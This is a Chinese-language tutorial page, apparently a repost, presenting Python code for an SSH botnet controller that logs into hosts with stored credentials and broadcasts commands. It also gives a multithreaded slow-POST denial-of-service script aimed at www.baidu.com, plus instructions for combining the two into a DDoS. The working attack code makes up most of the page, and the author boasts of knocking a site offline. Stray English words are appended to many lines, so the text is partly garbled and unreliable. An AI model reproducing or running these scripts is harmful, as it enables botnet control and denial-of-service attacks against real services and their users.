代碼地址以下:
http://www.demodashi.com/demo/12002.htmlhtml
本例子包含兩個小程序,具體以下:python
目錄linux
下面是一個簡單的網絡殭屍程序,先經過添加n個客戶端的ip和登陸帳戶密碼,而後操控這些客戶端發動對同一個目標ping的指令。小程序
若是有上網個分佈在不一樣地區的客戶端,其ping的威力是不小的,攻擊一個小網站是不在話下。服務器
#!/usr/bin/python # -*- coding: utf-8 -*- import optparse #import pxssh from pexpect import pxssh class Client: def __init__(self, host, user, password): self.host = host self.user = user self.password = password self.session = self.connect() def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception, e: print e print '[-] Error Connecting' def send_command(self, cmd): self.session.sendline(cmd) self.session.prompt() return self.session.before def botnetCommand(command): for client in botNet: output = client.send_command(command) print '[*] Output from ' + client.host print '[+] ' + output def addClient(host, user, password): client = Client(host, user, password) botNet.append(client) botNet = [] #addClient('127.0.0.1', 'root', 'wu.com') addClient('127.0.0.1', 'wu_being', 'wu.com') addClient('127.0.0.1', 'wu_being', 'wu.com') addClient('localhost', 'wu_being', 'wu.com') # addClient('11.22.33.33', 'root', '123456') # addClient('112.33.43.55', 'root', 'password') botnetCommand('uname -v') botnetCommand('ping www.baidu.com -c 4') #botnetCommand('cat /etc/issue')
用法(這樣運行的)網絡
huashidazhongbeitushuguan12deiMac:ddos huashida$ ls -l total 40 -rwxr-xr-x@ 1 huashida staff 1231 11 28 15:22 4-botNet構建SSH僵屍網絡.py -rwxr-xr-x@ 1 huashida staff 1648 11 28 15:16 5-botNet構建SSH僵屍網絡ddos.py -rwxr-xr-x@ 1 huashida staff 1967 11 28 15:16 DoS_constantConn_MultiThread.py -rwxr-xr-x@ 1 huashida staff 1084 11 28 15:16 dos.py -rwxr-xr-x@ 1 huashida staff 53 11 28 15:16 sshpass.txt huashidazhongbeitushuguan12deiMac:ddos huashida$ python 4-botNet構建SSH僵屍網絡.py
DoS, Denial of Service, 拒絕服務,一種經常使用來使服務器或網絡癱瘓的網絡攻擊手段。session
咱們要改的是這兩處地方 改成:多線程
cmd命令行下執行腳本 刷刷刷,一連串socket鏈接。。。就開着唄。咱們來看看如今網頁還能夠訪問不? 顯然被日癱了。 別搞事情!app
#!/usr/bin/env python import socket import time import threading #Pressure Test,ddos tool #--------------------------- MAX_CONN=200000 PORT=8000 HOST="www.baidu.com" PAGE="/index.php" #--------------------------- buf=("POST %s HTTP/1.1\r\n" "Host: %s\r\n" "Content-Length: 1000000000\r\n" "Cookie: dklkt_dos_test\r\n" "\r\n" % (PAGE,HOST)) socks=[] def conn_thread(): global socks for i in range(0,MAX_CONN): s=socket.socket (socket.AF_INET,socket.SOCK_STREAM) try: s.connect((HOST,PORT)) s.send(buf) print "[+] Send buf OK!,conn=%d\n"%i socks.append(s) except Exception,ex: print "[-] Could not connect to server or send error:%s"%ex time.sleep(2) #end def def send_thread(): global socks while True: for s in socks: try: s.send("f") print "[+] send OK! %s"%s except Exception,ex: print "[-] send Exception:%s\n"%ex socks.remove(s) s.close() time.sleep(1) #end def conn_th=threading.Thread(target=conn_thread,args=()) send_th=threading.Thread(target=send_thread,args=()) conn_th.start() send_th.start()
用法和運行方式和上面一個相似,這裏略過。
若是以爲網絡殭屍ping和簡單的DoS還不夠力,咱們把上面的網絡殭屍和DoS整合一下,成了傳說中的DDos。
DDoS, Distributed Denial of Service, 分佈式拒絕服務攻擊,亦稱做洪水攻擊。DoS攻擊與DDoS攻擊的區別就是,它是一對一的攻擊,而DDoS是分佈式的攻擊。
改進之處:
botnetCommand('python Dos_constantConn_MutilThread.py')
;前提條件:
程序可能問題:
scp dos.py root@127.0.0.1:~/
基於python實現的DDoS
代碼地址以下:
http://www.demodashi.com/demo/12002.html
注:本文著做權歸做者,由demo大師代發,拒絕轉載,轉載須要做者受權